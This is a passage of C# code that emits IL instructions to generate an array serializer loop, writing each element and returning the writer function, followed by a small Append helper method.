worker.Append(worker.Create(OpCodes.Ldobj, elementType)); worker.Append(worker.Create(OpCodes.Call, elementWriteFunc)); worker.Append(worker.Create(OpCodes.Ldloc_1)); worker.Append(worker.Create(OpCodes.Ldc_I4_1)); worker.Append(worker.Create(OpCodes.Add)); worker.Append(worker.Create(OpCodes.Stloc_1)); // end for loop worker.Append(labelHead); worker.Append(worker.Create(OpCodes.Ldloc_1)); worker.Append(worker.Create(OpCodes.Ldarg_1)); worker.Append(worker.Create(OpCodes.Ldlen)); worker.Append(worker.Create(OpCodes.Conv_I4)); worker.Append(worker.Create(OpCodes.Blt, labelBody)); // return worker.Append(worker.Create(OpCodes.Ret)); return(writerFunc); }
void Append(Instruction instruction) => _il.Append(instruction);